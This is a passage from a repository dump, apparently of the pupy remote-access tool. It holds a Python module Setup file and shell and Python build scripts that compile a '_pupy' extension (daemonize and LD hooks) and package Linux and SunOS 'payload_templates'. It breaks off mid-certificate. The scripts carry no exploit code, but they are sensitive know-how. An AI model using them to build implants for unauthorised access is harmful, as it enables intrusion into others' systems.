time!\n\n# Standard path -- don't edit.\n# No leading colon since this is the first entry.\n# Empty since this is now just the runtime prefix.\nDESTPATH=\n\n# Site specific path components -- should begin with : if non-empty\nSITEPATH=\n\n# Standard path components for test modules\nTESTPATH=\n\n# Path components for machine- or system-dependent modules and shared libraries\nMACHDEPPATH=:$(PLATDIR)\nEXTRAMACHDEPPATH=\n\n# Path component for the Tkinter-related modules\n# The TKPATH variable is always enabled, to save you the effort.\nTKPATH=:lib-tk\n\n# Path component for old modules.\nOLDPATH=:lib-old\n\nCOREPYTHONPATH=$(DESTPATH)$(SITEPATH)$(TESTPATH)$(MACHDEPPATH)$(EXTRAMACHDEPPATH)$(TKPATH)$(OLDPATH)\nPYTHONPATH=$(COREPYTHONPATH)\n\n\n# The modules listed here can't be built as shared libraries for\n# various reasons; therefore they are listed here instead of in the\n# normal order.\n\n# This only contains the minimal set of modules required to run the \n# setup.py script in the root of the Python source tree.\n\nposix posixmodule.c\t\t# posix (UNIX) system calls\nerrno errnomodule.c\t\t# posix (UNIX) errno values\npwd pwdmodule.c\t\t\t# this is needed to find out the user's home dir\n\t\t\t\t# if $HOME is not set\n_sre _sre.c\t\t\t# Fredrik Lundh's new regular expressions\n_codecs _codecsmodule.c\t\t# access to the builtin codecs and codec registry\n_weakref _weakref.c             # weak references\n\n# The zipimport module is always imported at startup. Having it as a\n# builtin module avoids some bootstrapping problems and reduces overhead.\nzipimport zipimport.c\n\n# The rest of the modules listed in this file are all commented out by\n# default.  Usually they can be detected and built as dynamically\n# loaded modules by the new setup.py script added in Python 2.1.  If\n# you're on a platform that doesn't support dynamic loading, want to \n# compile modules statically into the Python binary, or need to \n# specify some odd set of compiler switches, you can uncomment the \n# appropriate lines below.\n\n# ======================================================================\n\n# The Python symtable module depends on .h files that setup.py doesn't track\n_symtable symtablemodule.c\n\n# The SGI specific GL module:\n\nGLHACK=-Dclear=__GLclear\n#gl glmodule.c cgensupport.c -I$(srcdir) $(GLHACK) -lgl -lX11\n\n# Pure module.  Cannot be linked dynamically.\n# -DWITH_QUANTIFY, -DWITH_PURIFY, or -DWITH_ALL_PURE\n#WHICH_PURE_PRODUCTS=-DWITH_ALL_PURE\n#PURE_INCLS=-I/usr/local/include\n#PURE_STUBLIBS=-L/usr/local/lib -lpurify_stubs -lquantify_stubs\n#pure puremodule.c $(WHICH_PURE_PRODUCTS) $(PURE_INCLS) $(PURE_STUBLIBS)\n\n# Uncommenting the following line tells makesetup that all following\n# modules are to be built as shared libraries (see above for more\n# detail; also note that *static* reverses this effect):\n\n#*shared*\n\n# GNU readline.  Unlike previous Python incarnations, GNU readline is\n# now incorporated in an optional module, configured in the Setup file\n# instead of by a configure script switch.  You may have to insert a\n# -L option pointing to the directory where libreadline.* lives,\n# and you may have to change -ltermcap to -ltermlib or perhaps remove\n# it, depending on your system -- see the GNU readline instructions.\n# It's okay for this to be a shared library, too.\n\n#readline readline.c -lreadline -ltermcap\n\n\n# Modules that should always be present (non UNIX dependent):\n\narray arraymodule.c\t# array objects\ncmath cmathmodule.c  -lm # complex math library functions\nmath mathmodule.c _math.c # -lm # math library functions, e.g. sin()\n_struct _struct.c\t# binary structure packing/unpacking\ntime timemodule.c # -lm # time operations and variables\noperator operator.c\t# operator.add() and similar goodies\n#_testcapi _testcapimodule.c    # Python C API test module\n_random _randommodule.c\t# Random number generator\n_collections _collectionsmodule.c # Container types\n_heapq _heapqmodule.c\t\t# Heapq type\nitertools itertoolsmodule.c\t# Functions creating iterators for efficient looping \nstrop stropmodule.c\t\t# String manipulations\n_functools _functoolsmodule.c\t# Tools for working with functions and callable objects\n_elementtree -I$(srcdir)/Modules/expat -DHAVE_EXPAT_CONFIG_H -DUSE_PYEXPAT_CAPI _elementtree.c\t# elementtree accelerator\n# _pickle _pickle.c\t# pickle accelerator\ndatetime datetimemodule.c\t# date/time type\n_bisect _bisectmodule.c\t# Bisection algorithms\n\nunicodedata unicodedata.c    # static Unicode character database\n\n# access to ISO C locale support\n_locale _localemodule.c  -lintl\n\n# Standard I/O baseline\n_io -I$(srcdir)/Modules/_io _io/bufferedio.c _io/bytesio.c _io/fileio.c _io/iobase.c _io/_iomodule.c _io/stringio.c _io/textio.c\n\n\n# Modules with some UNIX dependencies -- on by default:\n# (If you have a really backward UNIX, select and socket may not be\n# supported...)\n\nfcntl fcntlmodule.c\t# fcntl(2) and ioctl(2)\nspwd spwdmodule.c\t\t# spwd(3) \ngrp grpmodule.c\t\t# grp(3)\nselect selectmodule.c\t# select(2); not on ancient System V\n\n# Memory-mapped files (also works on Win32).\nmmap mmapmodule.c\n\n# CSV file helper\n#_csv _csv.c\n\n# Socket module helper for socket(2)\n_socket socketmodule.c -lnsl\n\n# Socket module helper for SSL support; you must comment out the other\n# socket line above, and possibly edit the SSL variable:\n_ssl _ssl.c -DUSE_SSL -lssl -lcrypto -lnsl\n\n# The crypt module is now disabled by default because it breaks builds\n# on many systems (where -lcrypt is needed), e.g. Linux (I believe).\n#\n# First, look at Setup.config; configure may have set this for you.\n\ncrypt cryptmodule.c # -lcrypt\t# crypt(3); needs -lcrypt on some systems\n\n\n# Some more UNIX dependent modules -- off by default, since these\n# are not supported by all UNIX systems:\n\nnis nismodule.c -lnsl\t# Sun yellow pages -- not everywhere\ntermios termios.c\t# Steen Lumholt's termios module\nresource resource.c\t# Jeremy Hylton's rlimit interface\n\n\n# Multimedia modules -- off by default.\n# These don't work for 64-bit platforms!!!\n# #993173 says audioop works on 64-bit platforms, though.\n# These represent audio samples or images as strings:\n\n#audioop audioop.c\t# Operations on audio samples\n#imageop imageop.c\t# Operations on images\n\n\n# Note that the _md5 and _sha modules are normally only built if the\n# system does not have the OpenSSL libs containing an optimized version.\n\n# The _md5 module implements the RSA Data Security, Inc. MD5\n# Message-Digest Algorithm, described in RFC 1321.  The necessary files\n# md5.c and md5.h are included here.\n\n_md5 md5module.c md5.c\n\n\n# The _sha module implements the SHA checksum algorithms.\n# (NIST's Secure Hash Algorithms.)\n_sha shamodule.c\n_sha256 sha256module.c\n_sha512 sha512module.c\n\n\n# SGI IRIX specific modules -- off by default.\n\n# These module work on any SGI machine:\n\n# *** gl must be enabled higher up in this file ***\n#fm fmmodule.c $(GLHACK) -lfm -lgl\t\t# Font Manager\n#sgi sgimodule.c\t\t\t# sgi.nap() and a few more\n\n# This module requires the header file\n# /usr/people/4Dgifts/iristools/include/izoom.h:\n#imgfile imgfile.c -limage -lgutil -lgl -lm\t# Image Processing Utilities\n\n\n# These modules require the Multimedia Development Option (I think):\n\n#al almodule.c -laudio\t\t\t# Audio Library\n#cd cdmodule.c -lcdaudio -lds -lmediad\t# CD Audio Library\n#cl clmodule.c -lcl -lawareaudio\t# Compression Library\n#sv svmodule.c yuvconvert.c -lsvideo -lXext -lX11\t# Starter Video\n\n\n# The FORMS library, by Mark Overmars, implements user interface\n# components such as dialogs and buttons using SGI's GL and FM\n# libraries.  You must ftp the FORMS library separately from\n# ftp://ftp.cs.ruu.nl/pub/SGI/FORMS.  It was tested with FORMS 2.2a.\n# NOTE: if you want to be able to use FORMS and curses simultaneously\n# (or both link them statically into the same binary), you must\n# compile all of FORMS with the cc option \"-Dclear=__GLclear\".\n\n# The FORMS variable must point to the FORMS subdirectory of the forms\n# toplevel directory:\n\n#FORMS=/ufs/guido/src/forms/FORMS\n#fl flmodule.c -I$(FORMS) $(GLHACK) $(FORMS)/libforms.a -lfm -lgl\n\n\n# SunOS specific modules -- off by default:\n\nsunaudiodev sunaudiodev.c\n\n\n# A Linux specific module -- off by default; this may also work on \n# some *BSDs.\n\n#linuxaudiodev linuxaudiodev.c\n\n\n# George Neville-Neil's timing module:\n\n#timing timingmodule.c\n\n\n# The _tkinter module.\n#\n# The command for _tkinter is long and site specific.  Please\n# uncomment and/or edit those parts as indicated.  If you don't have a\n# specific extension (e.g. Tix or BLT), leave the corresponding line\n# commented out.  (Leave the trailing backslashes in!  If you\n# experience strange errors, you may want to join all uncommented\n# lines and remove the backslashes -- the backslash interpretation is\n# done by the shell's \"read\" command and it may not be implemented on\n# every system.\n\n# *** Always uncomment this (leave the leading underscore in!):\n# _tkinter _tkinter.c tkappinit.c -DWITH_APPINIT \\\n# *** Uncomment and edit to reflect where your Tcl/Tk libraries are:\n#\t-L/usr/local/lib \\\n# *** Uncomment and edit to reflect where your Tcl/Tk headers are:\n#\t-I/usr/local/include \\\n# *** Uncomment and edit to reflect where your X11 header files are:\n#\t-I/usr/X11R6/include \\\n# *** Or uncomment this for Solaris:\n#\t-I/usr/openwin/include \\\n# *** Uncomment and edit for Tix extension only:\n#\t-DWITH_TIX -ltix8.1.8.2 \\\n# *** Uncomment and edit for BLT extension only:\n#\t-DWITH_BLT -I/usr/local/blt/blt8.0-unoff/include -lBLT8.0 \\\n# *** Uncomment and edit for PIL (TkImaging) extension only:\n#     (See http://www.pythonware.com/products/pil/ for more info)\n#\t-DWITH_PIL -I../Extensions/Imaging/libImaging  tkImaging.c \\\n# *** Uncomment and edit for TOGL extension only:\n#\t-DWITH_TOGL togl.c \\\n# *** Uncomment and edit to reflect your Tcl/Tk versions:\n#\t-ltk8.2 -ltcl8.2 \\\n# *** Uncomment and edit to reflect where your X11 libraries are:\n#\t-L/usr/X11R6/lib \\\n# *** Or uncomment this for Solaris:\n#\t-L/usr/openwin/lib \\\n# *** Uncomment these for TOGL extension only:\n#\t-lGL -lGLU -lXext -lXmu \\\n# *** Uncomment for AIX:\n#\t-lld \\\n# *** Always uncomment this; X11 libraries to link with:\n#\t-lX11\n\n# Lance Ellinghaus's syslog module\n#syslog syslogmodule.c\t\t# syslog daemon interface\n\n\n# Curses support, requring the System V version of curses, often\n# provided by the ncurses library.  e.g. on Linux, link with -lncurses\n# instead of -lcurses).\n#\n# First, look at Setup.config; configure may have set this for you.\n\n#_curses _cursesmodule.c -lcurses -ltermcap\n# Wrapper for the panel library that's part of ncurses and SYSV curses.\n#_curses_panel _curses_panel.c -lpanel -lncurses \n\n\n# Generic (SunOS / SVR4) dynamic loading module.\n# This is not needed for dynamic loading of Python modules --\n# it is a highly experimental and dangerous device for calling\n# *arbitrary* C functions in *arbitrary* shared libraries:\n\n#dl dlmodule.c\n\n\n# Modules that provide persistent dictionary-like semantics.  You will\n# probably want to arrange for at least one of them to be available on\n# your machine, though none are defined by default because of library\n# dependencies.  The Python module anydbm.py provides an\n# implementation independent wrapper for these; dumbdbm.py provides\n# similar functionality (but slower of course) implemented in Python.\n\n# The standard Unix dbm module has been moved to Setup.config so that\n# it will be compiled as a shared library by default.  Compiling it as\n# a built-in module causes conflicts with the pybsddb3 module since it\n# creates a static dependency on an out-of-date version of db.so.\n#\n# First, look at Setup.config; configure may have set this for you.\n\n#dbm dbmmodule.c \t# dbm(3) may require -lndbm or similar\n\n# Anthony Baxter's gdbm module.  GNU dbm(3) will require -lgdbm:\n#\n# First, look at Setup.config; configure may have set this for you.\n\n#gdbm gdbmmodule.c -I/usr/local/include -L/usr/local/lib -lgdbm\n\n\n# Sleepycat Berkeley DB interface.\n#\n# This requires the Sleepycat DB code, see http://www.sleepycat.com/\n# The earliest supported version of that library is 3.0, the latest\n# supported version is 4.0 (4.1 is specifically not supported, as that\n# changes the semantics of transactional databases). A list of available\n# releases can be found at\n#\n# http://www.sleepycat.com/update/index.html\n#\n# Edit the variables DB and DBLIBVERto point to the db top directory\n# and the subdirectory of PORT where you built it.\n#DB=/usr/local/BerkeleyDB.4.0\n#DBLIBVER=4.0\n#DBINC=$(DB)/include\n#DBLIB=$(DB)/lib\n#_bsddb _bsddb.c -I$(DBINC) -L$(DBLIB) -ldb-$(DBLIBVER)\n\n# Historical Berkeley DB 1.85\n#\n# This module is deprecated; the 1.85 version of the Berkeley DB library has\n# bugs that can cause data corruption. If you can, use later versions of the\n# library instead, available from <http://www.sleepycat.com/>.\n\n#DB=/depot/sundry/src/berkeley-db/db.1.85\n#DBPORT=$(DB)/PORT/irix.5.3\n#bsddb185 bsddbmodule.c -I$(DBPORT)/include -I$(DBPORT) $(DBPORT)/libdb.a\n\n\n\n# Helper module for various ascii-encoders\nbinascii binascii.c\n\n# Fred Drake's interface to the Python parser\n#parser parsermodule.c\n\n# cStringIO and cPickle\ncStringIO cStringIO.c\ncPickle cPickle.c\n\n\n# Lee Busby's SIGFPE modules.\n# The library to link fpectl with is platform specific.\n# Choose *one* of the options below for fpectl:\n\n# For SGI IRIX (tested on 5.3):\n#fpectl fpectlmodule.c -lfpe\n\n# For Solaris with SunPro compiler (tested on Solaris 2.5 with SunPro C 4.2):\n# (Without the compiler you don't have -lsunmath.)\n#fpectl fpectlmodule.c -R/opt/SUNWspro/lib -lsunmath -lm\n\n# For other systems: see instructions in fpectlmodule.c.\n#fpectl fpectlmodule.c ...\n\n# Test module for fpectl.  No extra libraries needed.\n#fpetest fpetestmodule.c\n\n# Andrew Kuchling's zlib module.\n# This require zlib 1.1.3 (or later).\n# See http://www.gzip.org/zlib/\nzlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz\n\n# Interface to the Expat XML parser\n#\n# Expat was written by James Clark and is now maintained by a group of\n# developers on SourceForge; see www.libexpat.org for more\n# information.  The pyexpat module was written by Paul Prescod after a\n# prototype by Jack Jansen.  Source of Expat 1.95.2 is included in\n# Modules/expat/.  Usage of a system shared libexpat.so/expat.dll is\n# not advised.\n#\n# More information on Expat can be found at www.libexpat.org.\n#\npyexpat expat/xmlparse.c expat/xmlrole.c expat/xmltok.c pyexpat.c -I$(srcdir)/Modules/expat -DHAVE_EXPAT_CONFIG_H -DUSE_PYEXPAT_CAPI\n\n# Hye-Shik Chang's CJKCodecs\n\n# multibytecodec is required for all the other CJK codec modules\n#_multibytecodec cjkcodecs/multibytecodec.c\n\n#_codecs_cn cjkcodecs/_codecs_cn.c\n#_codecs_hk cjkcodecs/_codecs_hk.c\n#_codecs_iso2022 cjkcodecs/_codecs_iso2022.c\n#_codecs_jp cjkcodecs/_codecs_jp.c\n#_codecs_kr cjkcodecs/_codecs_kr.c\n#_codecs_tw cjkcodecs/_codecs_tw.c\n\n# Example -- included for reference only:\n# xx xxmodule.c\n\n# Another example -- the 'xxsubtype' module shows C-level subtyping in action\nxxsubtype xxsubtype.c\n"
  },
  {
    "path": "client/sources-linux-py3/build-docker.sh",
    "content": "#!/bin/sh\n\nSELF=$(readlink -f \"$0\")\nSELFPWD=$(dirname \"$SELF\")\nSRC=${SELFPWD:-$(pwd)}\n\ncd $SRC\n\nPUPY=$(readlink -f ../../pupy/)\nTEMPLATES=$PUPY/payload_templates\n\nEXTERNAL=../../pupy/external\nPYKCP=$EXTERNAL/pykcp\nPYOPUS=$EXTERNAL/pyopus/src\nSUFFIX=\"-`python -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`\"\nPIP_INSTALL=\"python -m pip install --upgrade\"\n\n\nset -e\n\necho \"[+] Install python packages\"\n\n$PIP_INSTALL pip\n$PIP_INSTALL setuptools cython\n$PIP_INSTALL -q six packaging appdirs\n#CC=/gccwrap\n\nCFLAGS_ABORT=\"-D_FORTIFY_SOURCE=2 -fstack-protector\" \\\n    $PIP_INSTALL -q pynacl\n\nCFLAGS_FILTER=\"-Wno-error=sign-conversion\" \\\n    CFLAGS=\"$CFLAGS -DHEADER_UI_H -D__builtin_unreachable=abort\" \\\n        $PIP_INSTALL -q cryptography --no-binary :all:\n\nexport PRCTL_SKIP_KERNEL_CHECK=yes\n\nif [ \"$TOOLCHAIN_ARCH\" = \"x86\" ]; then\n    export CFLAGS=\"$CFLAGS -D__NR_ioprio_get=290 -D__NR_ioprio_set=289\"\nfi\nLDFLAGS=\"$LDFLAGS -Wl,-Bstatic -lcap -Wl,-Bdynamic\" \\\n    $PIP_INSTALL python-prctl\n\n$PIP_INSTALL pyodbc\n$PIP_INSTALL \\\n    pyaml ushlex rsa netaddr pyyaml ecdsa idna impacket \\\n    paramiko pylzma pydbus python-ptrace psutil scandir \\\n    scapy colorama pyOpenSSL python-xlib msgpack-python \\\n    u-msgpack-python dnslib pyxattr pylibacl http_parser \\\n    https://github.com/alxchk/tinyec/archive/master.zip \\\n    https://github.com/warner/python-ed25519/archive/master.zip \\\n    https://github.com/alxchk/urllib-auth/archive/master.zip \\\n    zeroconf \\\n    watchdog pulsectl pycryptodomex --no-binary :all:\n\nLDFLAGS=\"$LDFLAGS -lm -lasound\" CFLAGS=\"$CFLAGS -std=gnu99\" \\\n    $PIP_INSTALL pyalsaaudio  --no-binary :all:\n\nif [ \"$TOOLCHAIN_ARCH\" = \"x86\" ]; then\n    CFLAGS_PYJNIUS=\"$CFLAGS\"\nelse\n    CFLAGS_PYJNIUS=\"$CFLAGS -D_LP64\"\nfi\n\n#CFLAGS=\"${CFLAGS_PYJNIUS}\" NO_JAVA=1 \\\n#    python -m pip install \\\n#    https://github.com/alxchk/pyjnius/archive/master.zip\n\nCFLAGS=\"$CFLAGS -DDUK_DOUBLE_INFINITY=\\\"(1.0 / 0.0)\\\"\" \\\nLDFLAGS=\"$LDFLAGS -lm\" \\\n    $PIP_INSTALL dukpy --no-binary :all:\n\n#LDFLAGS=\"$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5\" \\\n#    $PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip\nLDFLAGS=\"$LDFLAGS -lasound -lm -lrt\" $PIP_INSTALL pyaudio\n\n$PIP_INSTALL --force-reinstall pycparser==2.17\n\necho \"[+] Compile pykcp\"\nrm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info}\n$PIP_INSTALL --force $PYKCP\npython -c 'import kcp' || exit 1\n\n#echo \"[+] Compile opus\"\n#(cd $PYOPUS && make clean && LDFLAGS=\"$LDFLAGS -lm\" make && mv -f opus.so /usr/lib/python2.7/site-packages)\n#python -c 'import opus' || exit 1\n\necho \"[+] Compile pyuv\"\n\nif [ \"$TOOLCHAIN_ARCH\" = \"x86\" ]; then\n    CFLAGS_PYUV=\"-O2 -pipe -DCLOCK_MONOTONIC=1 -UHAVE_PTHREAD_COND_TIMEDWAIT_MONOTONIC\"\n    CFLAGS_PYUV=\"$CFLAGS_PYUV -U_FILE_OFFSET_BITS -D_XOPEN_SOURCE=600 -D__USE_XOPEN2K8\"\n    CFLAGS_PYUV=\"$CFLAGS_PYUV -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'\"\n\n# It may not be possible to build pyuv with linux32 toolchain, because woody don't have epoll() wrapper yet\n# So make an exception\n    LDFLAGS=\"--shared -Os -L/opt/static -static-libgcc -Wl,--allow-shlib-undefined\" \\\n        CFLAGS_FILTER=\"-D_FILE_OFFSET_BITS=64 -Wl,--no-undefined\" CFLAGS=\"$CFLAGS_PYUV\" \\\n        $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all:\nelse\n    CFLAGS=\"$CFLAGS -D_XOPEN_SOURCE=600 -D_GNU_SOURCE -DS_ISSOCK(m)='(((m) & S_IFMT) == S_IFSOCK)'\" \\\n        $PIP_INSTALL https://github.com/alxchk/pyuv/archive/v1.x.zip --no-binary :all:\nfi\n\n#$PIP_INSTALL --no-binary :all: pycryptodome\n$PIP_INSTALL https://github.com/Legrandin/pycryptodome/archive/master.zip\n\n#cd /usr/lib/python3.10\ncd ~/.pyenv/versions/3.*/lib/python3.*\n\necho \"[+] Strip python modules\"\nfind -name \"*.so\" | while read f; do strip $f; done\n\necho \"[+] Build python template ($TOOLCHAIN_ARCH)\"\n\nrm -f ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip\nzip -y -r -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip . \\\n    -x \"*.a\" -x \"*.la\" -x \"*.o\" -x \"*.whl\" -x \"*.txt\" -x \"*.pyo\" -x \"*.pyc\" \\\n    -x \"*test/*\" -x \"*tests/*\" -x \"*examples/*\" \\\n    -x \"*.egg-info/*\" -x \"*.dist-info/*\" \\\n    -x \"idlelib/*\" -x \"lib-tk/*\" -x \"tk*\" -x \"tcl*\" >/dev/null\n\n#cd /usr/lib\nmkdir -p /tmp/libs\ncd /tmp/libs\ncp /usr/lib/x86_64-linux-gnu/libodbc.so.1 libodbc.so\n\nzip -9 ${TEMPLATES}/linux-${TOOLCHAIN_ARCH}${SUFFIX}.zip \\\n    libpq.so libodbc.so psqlodbcw.so libodbcinst.so libmaodbc.so\n\necho \"[+] Build pupy\"\n\ncase $TOOLCHAIN_ARCH in\namd64)\n    MAKEFLAGS=\"ARCH=64 MACH=x86_64\"\n    TARGETS=\"pupyx64d${SUFFIX}.lin pupyx64d${SUFFIX}.lin\"\n    TARGETS=\"$TARGETS pupyx64${SUFFIX}.lin pupyx64${SUFFIX}.lin.so\"\n    export LIBPYTHON=/root/.pyenv/versions/3.10.6/lib/libpython3.10.so\n    export LIBPYTHON_INC=\"-I/root/.pyenv/versions/3.10.6/include/python3.10\"\n    ;;\n\nx86)\n    MAKEFLAGS=\"ARCH=32 PIE= MACH=i686 $LIBS\"\n    TARGETS=\"pupyx86d${SUFFIX}.lin pupyx86d${SUFFIX}.lin.so\"\n    TARGETS=\"$TARGETS pupyx86${SUFFIX}.lin pupyx86${SUFFIX}.lin.so\"\n    ;;\n\n*)\n    LIBS=\"LIBSSL=/usr/lib/libssl.so LIBCRYPTO=/usr/lib/libcrypto.so\"\n    LIBS=\"$LIBS LIBPYTHON=/usr/lib/libpython3.10.so\"\n    MAKEFLAGS=\"MACH=${TOOLCHAIN_ARCH} $LIBS\"\n    TARGETS=\"pupy${TOOLCHAIN_ARCH}d.lin pupy${TOOLCHAIN_ARCH}d.lin.so\"\n    TARGETS=\"$TARGETS pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin pupy${TOOLCHAIN_ARCH}${SUFFIX}.lin.so\"\n    ;;\nesac\n\nfor target in $TARGETS; do rm -f $TEMPLATES/$target; done\n\ncd $SRC\n\nMAKEFLAGS=\"$MAKEFLAGS OPENSSL_LIB_VERSION=1.1\"\n\nexport PKG_CONFIG_PATH=$(echo ~/.pyenv/versions/*/lib/pkgconfig)\n\nmake $MAKEFLAGS distclean\nmake -j $MAKEFLAGS\n#make $MAKEFLAGS\nmake $MAKEFLAGS clean\nmake -j DEBUG=1 $MAKEFLAGS\n#make DEBUG=1 $MAKEFLAGS\n\nfor object in $TARGETS; do\n    if [ -z \"$object\" ]; then\n        continue\n    fi\n\n    if [ ! -f $TEMPLATES/$object ]; then\n        echo \"[-] $object - failed\"\n        FAILED=1\n    fi\ndone\n\nif [ -z \"$FAILED\" ]; then\n    echo \"[+] Build complete\"\nelse\n    echo \"[-] Build failed\"\n    exit 1\nfi\n"
  },
  {
    "path": "client/sources-linux-py3/build_c_ext.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: UTF8 -*-\n\nfrom distutils.core import setup, Extension\nimport sys\n\n\ndef main():\n    extra_compile_args = [\"-D_PUPY_SO=1\", \"-DLinux=1\"]\n    extra_sources = []\n    if \"--debug\" in sys.argv:\n        extra_compile_args += [\"-DDEBUG\"]\n        extra_sources+=[\"../common/debug.c\"]\n        print(\"compiling _pupy.so with DEBUG=1\")\n    setup(name=\"_pupy\",\n          version=\"1.0.0\",\n          description=\"_pupy linux c extension\",\n          author=\"n1nj4sec\",\n          ext_modules=[Extension(\"_pupy\",sources=([\"pupy.c\", \"daemonize.c\", \"tmplibrary.c\", \"ld_hooks.c\", \"decompress.c\"]+extra_sources),\n            include_dirs=[\".\",\"../common\"],\n             extra_compile_args=extra_compile_args\n        )])\n\nif __name__ == \"__main__\":\n    main()\n\n"
  },
  {
    "path": "client/sources-linux-py3/buildenv-sunos.sh",
    "content": "#!/usr/bin/bash\n\nset -e\n\nexec 2>buildenv-sunos.log\n\nBPWD=`pwd`\nBUILDENV=$BPWD/buildenv-sunos\nTEMPLATES=$BPWD/../../pupy/payload_templates\n\ncat >gccwrap << '__EOF__'\n#!/usr/bin/bash\ndeclare -a filter=( \"$CFLAGS_FILTER\" )\ndeclare -a badargs=( \"$CFLAGS_ABORT\" )\ndeclare -a outargs=()\n\nfor arg; do\n  found=false\n  for filtered in ${filter[@]}; do\n     if [ \"$filtered\" == \"$arg\" ]; then\n        found=true\n        break\n     fi\n  done\n\n  for bad in ${badargs[@]}; do\n     if [ \"$bad\" == \"$arg\" ]; then\n        echo \"Unsupported argument found: $bad\"\n        exit 1\n     fi\n  done\n\n  if [ \"$found\" = \"false\" ]; then\n        outargs[${#outargs[@]}]=\"$arg\"\n  fi\n\ndone\n\nexec gcc $GCCWRAP_CFLAGS_EXTRA \"${outargs[@]}\"\n__EOF__\n\nchmod +x gccwrap\nexport CC=$BPWD/gccwrap\n\nmkdir -p $BUILDENV\n\n# VERSIONS /MAY/ BE UPDATED (In case of vulnerabilites)\nOPENSSL_SRC=\"https://www.openssl.org/source/openssl-1.0.2p.tar.gz\"\nZLIB_SRC=\"http://zlib.net/zlib-1.2.11.tar.gz\"\nSQLITE_SRC=\"http://www.sqlite.org/2018/sqlite-autoconf-3220000.tar.gz\"\nLIBFFI_SRC=\"http://http.debian.net/debian/pool/main/libf/libffi/libffi_3.2.1.orig.tar.gz\"\nPYTHON_SRC=\"https://www.python.org/ftp/python/2.7.15/Python-2.7.15.tgz\"\n\nexport PATH=\"$BUILDENV/build/bin:/opt/csw/bin/:/usr/sfw/bin/:/usr/ccs/bin/:/usr/xpg4/bin/:$PATH\"\n\n# pkgutil -y -i wget automake autoconf pkgconfig xz libtool git\n\nif [ ! -d $BUILDENV/src ]; then\n    mkdir -p $BUILDENV/build $BUILDENV/src\n    cd $BUILDENV/src\n    for bin in \"$OPENSSL_SRC\" \"$ZLIB_SRC\" \"$SQLITE_SRC\" \"$LIBFFI_SRC\" \"$PYTHON_SRC\"; do\n        wget -O - \"$bin\" | gzip -d | tar xf -\n    done\n    cd -\nfi\n\nexport LD_LIBRARY_PATH=$BUILDENV/build/lib\nexport CFLAGS=\"-m64 -fPIC -DSUNOS_NO_IFADDRS -DHAVE_AS_X86_64_UNWIND_SECTION_TYPE -I$BUILDENV/build/lib/libffi-3.2.1/include -I$BUILDENV/build/include\"\nexport LDFLAGS_NODEFS=\"-Wl,-i -m64 -fPIC -L$BUILDENV/build/lib -static-libgcc -lc -Wl,-znow -Wl,-zignore\"\nexport LDFLAGS_DEFS=\"-Wl,-i -m64 -fPIC -L$BUILDENV/build/lib -static-libgcc -lc -Wl,-zdefs -Wl,-znow -Wl,-zignore\"\nexport LDFLAGS=$LDFLAGS_DEFS\nexport PKG_CONFIG_PATH=\"$BUILDENV/build/lib/pkgconfig\"\nset -x\n\nln -sf /usr/lib/amd64/libcrypt_i.so /usr/lib/amd64/libcrypt.so\n\ncd $BUILDENV/src/zlib-1.2.11\n./configure --64 --static --prefix=$BUILDENV/build; gmake; gmake install\n\ncd $BUILDENV/src/libffi-3.2.1\n./configure --enable-static --disable-shared --prefix=$BUILDENV/build; make; make install\n\ncd $BUILDENV/src/sqlite-autoconf-3220000\n./configure --enable-static --disable-shared --prefix=$BUILDENV/build; gmake; gmake install\n\ncd $BUILDENV/src/openssl-1.0.2p\n./Configure --openssldir=$BUILDENV/build/ shared solaris64-x86_64-gcc; gmake; gmake install\n\nexport GCCWRAP_CFLAGS_EXTRA=-std=gnu99\nexport LDFLAGS=$LDFLAGS_NODEFS\n\ncd $BUILDENV/src/Python-2.7.15\n[ -f $BPWD/Python.SunOS10.Setup.dist ] && \\\n\tcp -f $BPWD/Python.SunOS10.Setup.dist $BUILDENV/src/Python-2.7.15/Modules/Setup.dist\n\n./configure --with-ensurepip=install --enable-unicode=ucs4 \\\n\t    --with-system-ffi --enable-ipv6 --prefix=$BUILDENV/build \\\n\t    CFLAGS=\"$CFLAGS -DXML_DEV_URANDOM\"\ngmake; gmake install\ngcc -m64 --without-libgcc -shared -fPIC -o $BUILDENV/build/lib/libpython2.7.so \\\n    -Wl,--whole-archive libpython2.7.a -Wl,--no-whole-archive \\\n    -lc -lnsl -lsocket -lz -lm -ldl -lrt \\\n    $BUILDENV/build/lib/libssl.so $BUILDENV/build/lib/libcrypto.so \\\n    -lpthread \\\n    -Wl,--no-undefined -Wl,-zignore -Wl,-zdefs -Wl,-znow -Wl,-h,libpython2.7.so.1.0\n\nunset GCCWRAP_CFLAGS_EXTRA\n\ncat >$BUILDENV/build/certs/244b5494.0 << __EOF__\n-----BEGIN 